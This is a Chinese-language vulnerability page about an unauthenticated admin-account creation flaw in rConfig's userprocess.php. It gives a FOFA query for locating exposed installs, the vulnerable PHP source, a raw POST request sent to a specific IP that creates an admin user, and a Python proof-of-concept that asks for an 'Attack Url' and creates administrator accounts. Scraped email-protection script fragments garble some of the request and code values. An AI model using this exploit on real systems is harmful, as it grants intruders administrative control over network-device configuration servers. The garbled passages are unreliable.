menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right rConfig userprocess.php 任意用户创建漏洞 chevron_right rConfig userprocess.php 任意用户创建漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    rConfig userprocess.php 任意用户创建漏洞.md
    16.52 KB / 2021-07-15 20:02:26
        # rConfig userprocess.php 任意用户创建漏洞
    
    ## 漏洞描述
    
    rConfig userprocess.php 存在任意用户创建漏洞,发送特定的请求包攻击者可以创建管理员账户登录后台
    
    ## 漏洞影响
    
    > rConfig
    
    ## FOFA
    
    > app="rConfig"
    
    ## 漏洞复现
    
    出现漏洞的文件为 userproce.php
    
    ```php
    <?php
    
    /**
     * Process.php
     * 
     * The Process class is meant to simplify the task of processing
     * user submitted forms, redirecting the user to the correct
     * pages if errors are found, or if form is successful, either
     * way. Also handles the logout procedure.
     *
     * Written by: Jpmaster77 a.k.a. The Grandmaster of C++ (GMC)
     * Last Updated: August 19, 2004
     */
    include("/home/rconfig/classes/usersession.class.php");
    
    class Process {
        /* Class constructor */
    
        function Process() {
            global $session;
            /* User submitted login form */
            if (isset($_POST['sublogin'])) {
                $this->procLogin();
            }
            /* Admin submitted user add form */ else if (isset($_POST['add']) && isset($_POST['editid']) && empty($_POST['editid'])) {
                $this->procRegister();
            }
            /* Admin submitted user edit form */ else if (isset($_POST['add']) && isset($_POST['editid']) && !empty($_POST['editid'])) {
                $this->procUpdateAccount();
            }
            /* User submitted forgot password form */ else if (isset($_POST['subforgot'])) {
                $this->procForgotPass();
            }
            /* User submitted edit account form */ else if (isset($_POST['subedit'])) {
                $this->procEditAccount();
            }
            /**
             * The only other reason user should be directed here
             * is if he wants to logout, which means user is
             * logged in currently.
             */ else if ($session->logged_in) {
                $this->procLogout();
            }
            /**
             * Should not get here, which means user is viewing this page
             * by mistake and therefore is redirected.
             */ else {
                header("Location: /login.php");
            }
        }
    
        /**
         * procLogin - Processes the user submitted login form, if errors
         * are found, the user is redirected to correct the information,
         * if not, the user is effectively logged in to the system.
         */
        function procLogin() {
            global $session, $form;
            /* Login attempt */
            $retval = $session->login($_POST['user'], $_POST['pass'], isset($_POST['remember']));
            /* Login successful */
            if ($retval) {
                header("Location: " . $session->referrer);
            }
            /* Login failed */ else {
                $_SESSION['value_array'] = $_POST;
                $_SESSION['error_array'] = $form->getErrorArray();
                header("Location: " . $session->referrer);
            }
        }
    
        /**
         * procLogout - Simply attempts to log the user out of the system
         * given that there is no logout form to process.
         */
        function procLogout() {
            global $session;
            $retval = $session->logout();
            header("Location: /login.php");
        }
    
        /**
         * procRegister - Processes the user submitted registration form,
         * if errors are found, the user is redirected to correct the
         * information, if not, the user is effectively registered with
         * the system and an email is (optionally) sent to the newly
         * created user.
         */
        function procRegister() {
            global $session, $form;
            /* Convert username to all lowercase (by option) */
            if (ALL_LOWERCASE) {
                $_POST['username'] = strtolower($_POST['username']);
            }
            /* Registration attempt */
            $retval = $session->register($_POST['username'], $_POST['password'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
    
            /* Registration Successful */
            if ($retval == 0) {
                $_SESSION['reguname'] = $_POST['username'];
                $_SESSION['regsuccess'] = true;
                $errors['Success'] = "User " . $_POST['username'] . " successfully added to Database";
                $_SESSION['errors'] = $errors;
                header("Location: " . $session->referrer);
            }
            /* Error found with form */ else if ($retval == 1) {
                $_SESSION['value_array'] = $_POST;
                $_SESSION['errors'] = $form->getErrorArray();
                header("Location: " . $session->referrer . "?error");
            }
            /* Registration attempt failed */ else if ($retval == 2) {
                $_SESSION['reguname'] = $_POST['username'];
                $_SESSION['regsuccess'] = false;
                $errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be added to Database";
                $_SESSION['errors'] = $errors;
                header("Location: " . $session->referrer);
            }
        }
    
        /**
         * procForgotPass - Validates the given username then if
         * everything is fine, a new password is generated and
         * emailed to the address the user gave on sign up.
         */
        function procForgotPass() {
            global $database, $session, $mailer, $form;
            /* Username error checking */
            $subuser = $_POST['user'];
            $field = "user";  //Use field name for username
            if (!$subuser || strlen($subuser = trim($subuser)) == 0) {
                $form->setError($field, "Username not entered<br>");
                $_SESSION['value_array'] = $_POST;
                $_SESSION['errors'] = $form->getErrorArray();
                header("Location: " . $session->referrer . "?error");
            } else {
                /* Make sure username is in database */
                $subuser = stripslashes($subuser);
                if (strlen($subuser) < 5 || strlen($subuser) > 30 ||
                        !preg_match("/^([0-9a-z])+$/", $subuser) ||
                        (!$database->usernameTaken($subuser))) {
                    $form->setError($field, "Unknown Username");
                    $_SESSION['value_array'] = $_POST;
                    $_SESSION['errors'] = $form->getErrorArray();
                    header("Location: " . $session->referrer . "?error");
                }
            }
            /* Errors exist, have user correct them */
            if ($form->num_errors > 0) {
                $_SESSION['value_array'] = $_POST;
                $_SESSION['error_array'] = $form->getErrorArray();
            } else {
                /* Generate new password */
                $newpass = $session->generateRandStr(8);
                /* Get email of user */
                $usrinf = $database->getUserInfo($subuser);
                $email = $usrinf['email'];
                /* Attempt to send the email with new password */
                if ($mailer->sendNewPass($subuser, $email, $newpass)) {
                    /* Email sent, update database */
                    $database->updateUserField($subuser, "password", md5($newpass));
                    echo "<script>"
                    . "alert('Your new password has been generated. The password was emailed to $email');"
                    . "window.close();"
                    . "</script>";
                }/* Email failure, do not change password */ 
                else {
                    $_SESSION['forgotpass'] = false;
                }
            }
        }
    
        /**
         * procEditAccount - Attempts to edit the user's account
         * information, including the password, which must be verified
         * before a change is made.
         */
        function procEditAccount() {
            global $session, $form;
            /* Account edit attempt */
            $retval = $session->editAccount($_POST['editid'], $_POST['username'], $_POST['curpass'], $_POST['newpass'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
    
            /* Account edit successful */
            if ($retval == 0) {
                $_SESSION['useredit'] = $_POST['username'];
                $_SESSION['useredit'] = true;
                $errors['Success'] = "User " . $_POST['username'] . " successfully edited";
                $_SESSION['errors'] = $errors;
                header("Location: " . $session->referrer);
            }
            /* Error found with form */ else if ($retval == 1) {
                $_SESSION['value_array'] = $_POST;
                $_SESSION['errors'] = $form->getErrorArray();
                header("Location: " . $session->referrer . "?error");
            }
            /* Registration attempt failed */ else if ($retval == 2) {
                $_SESSION['useredit'] = $_POST['username'];
                $_SESSION['regsuccess'] = false;
                $errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be edited";
                $_SESSION['errors'] = $errors;
                header("Location: " . $session->referrer);
            }
        }
    
        /**
         * procEditAccount - Attempts to edit the user's account
         * information, including the password, which must be verified
         * before a change is made.
         */
        function procUpdateAccount() {
            // http or https check for url Protocol
            $protocol = 'http';
            if (isset($_SERVER['HTTPS'])) {
                if (strtoupper($_SERVER['HTTPS']) == 'ON') {
                    $protocol = 'https';
                }
            }
    
            global $session, $form;
            /* Account edit attempt */
            $retval = $session->updateAccount($_POST['editid'], $_POST['username'], $_POST['password'], $_POST['passconf'], $_POST['email'], $_POST['ulevelid']);
    
            /* Account edit successful */
            if ($retval == 0) {
                $_SESSION['useredit'] = $_POST['username'];
                $_SESSION['useredit'] = true;
                $errors['Success'] = "User " . $_POST['username'] . " successfully edited";
                $_SESSION['errors'] = $errors;
                header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php");
            }
            /* Error found with form */ else if ($retval == 1) {
                $_SESSION['value_array'] = $_POST;
                $_SESSION['errors'] = $form->getErrorArray();
                header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php?error");
            }
            /* Registration attempt failed */ else if ($retval == 2) {
                $_SESSION['useredit'] = $_POST['username'];
                $_SESSION['regsuccess'] = false;
                $errors['Fail'] = "ERROR: User " . $_POST['username'] . " could not be edited";
                $_SESSION['errors'] = $errors;
                header("Location: " . $protocol . "://" . $_SERVER['HTTP_HOST'] . "/" . "useradmin.php");
            }
        }
    
    }
    
    /* Initialize process */
    $process = new Process;
    ```
    
    出现漏洞的原因是对权限设定错误,任何人都可以通过访问这个文件创建管理员用户
    
    发送如下请求包创建管理员用户 pqtest,密码为 <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="4c1c1d38293f380c7d7e7f">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
    
    ```
    POST /lib/crud/userprocess.php HTTP/1.1
    Host: 194.149.41.11
    User-Agent: python-requests/2.25.1
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=b1467349fcce4aa0ae8d44439f4e06bc
    Upgrade-Insecure-Requests: 1
    Referer: http://194.149.41.11/useradmin.php
    Origin: http://194.149.41.11/
    Cookie: PHPSESSID=pq
    Content-Length: 697
    
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="username"
    
    pqtest
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="password"
    
    <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="81d1d0f5e4f2f5c1b0b3b2">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="passconf"
    
    <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="4e1e1f3a2b3d3a0e7f7c7d">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="email"
    
    <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="7323220716000733071600075d101c1e">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="ulevelid"
    
    9
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="add"
    
    add
    --b1467349fcce4aa0ae8d44439f4e06bc
    Content-Disposition: form-data; name="editid"
    
    
    --b1467349fcce4aa0ae8d44439f4e06bc--
    ```
    
    ![](resource/rConfig/rc-2.png)
    
    成功创建用户 pqtest,以管理员身份登录后台
    
    ![](resource/rConfig/rc-3.png)
    
    
    
    ## 漏洞POC
    
    ```python
    #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    
    import base64
    import requests
    import random
    import re
    import json
    import sys
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    from requests_toolbelt.multipart.encoder import MultipartEncoder
    
    def POC_1(target_url):
        vuln_url = target_url + "/lib/crud/userprocess.php"
        referer = target_url + "useradmin.php"
        ran_number = random.randint(1, 999)
        origin = target_url
        multipart_data = MultipartEncoder(
            fields={
                'username': 'pqtest{}'.format(ran_number),
                'password': 'PQtest@{}'.format(ran_number),
                'passconf': 'PQtest@{}'.format(ran_number),
                'email': <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="45621514312036313e3805312036316b262a28">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>'.format(ran_number),
                'ulevelid': '9',
                'add': 'add',
                'editid': ''
            }
        )
        headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
                   "Origin": origin}
        cookies = {'PHPSESSID': 'pqtest{}'.format(ran_number)}
        print("\033[36m[o] 正在创建账户..... \033[0m".format(ran_number, ran_number))
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
            if "error" not in response.text:
                print("\033[36m[o] 成功创建账户 pqtest{}/PQtest@{} \033[0m".format(ran_number, ran_number))
            else:
                print("\033[31m[x] 创建失败:{} \033[0m")
        except Exception as e:
            print("\033[31m[x] 请求失败:{} \033[0m".format(e))
            sys.exit(0)
    
    #
    if __name__ == '__main__':
        target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
        POC_1(target_url)
    
    ```
    
    
    links
    file_download